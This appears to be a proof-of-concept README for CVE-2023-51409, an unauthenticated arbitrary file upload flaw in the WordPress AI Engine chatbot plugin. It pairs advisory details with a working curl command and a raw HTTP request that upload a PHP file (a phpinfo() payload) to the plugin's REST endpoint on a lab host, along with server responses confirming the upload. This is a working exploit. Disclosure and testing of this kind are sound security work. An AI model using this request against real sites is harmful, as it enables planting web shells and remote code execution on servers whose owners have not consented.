randomrobbiebf/cve-2023-51409AI Engine: ChatGPT Chatbot <= 1.9.98 - Unauthenticated Arbitrary File Upload via rest_upload
AI Engine: ChatGPT Chatbot <= 1.9.98 - Unauthenticated Arbitrary File Upload via rest_upload
The AI Engine: Chatbots, Generators, Assistants, GPT 4 and more! plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'rest_upload' function in all versions up to, and including, 1.9.98. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Severity: critical
CVE ID: CVE-2023-51409
CVSS Score: 9.8
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Plugin Slug: ai-engine
WPScan URL: https://www.wpscan.com/plugin/ai-engine
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/a3fc4bac-9be0-4a1c-b4bb-4384d80e22f7?source=api-prod
CURL
$ cat test.txt
robbie.txt
$ curl -X POST http://wordpress.lan/wp-json/mwai-ui/v1/files/upload -H "Content-Disposition: form-data; filename=\"test.txt\"" -F "[email protected]" | jq -r
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 336 100 139 100 197 1738 2463 --:--:-- --:--:-- --:--:-- 4602
{
"success": true,
"data": {
"id": "dc05affbc88c6d731a8fc6d122cd3839",
"url": "http://wordpress.lan/wp-content/uploads/2024/02/test-1.txt"
}
}
$ curl http://wordpress.lan/wp-content/uploads/2024/02/test-1.txt
robbie.txt
Request
POST /wp-json/mwai-ui/v1/files/upload HTTP/1.1
Host: wordpress.lan
User-Agent: curl/8.1.2
Accept: */*
Content-Disposition: form-data; filename="test.txt"
Content-Length: 206
Content-Type: multipart/form-data; boundary=------------------------8ecd2b831e8d20f4
Connection: close
--------------------------8ecd2b831e8d20f4
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/plain
<?php phpinfo(); ?>
--------------------------8ecd2b831e8d20f4--
Response
{
"data": {
"id": "1044f1ab4f6340fea9abecb331fe981c",
"url": "http://wordpress.lan/wp-content/uploads/2024/02/test.php"
},
"success": true
}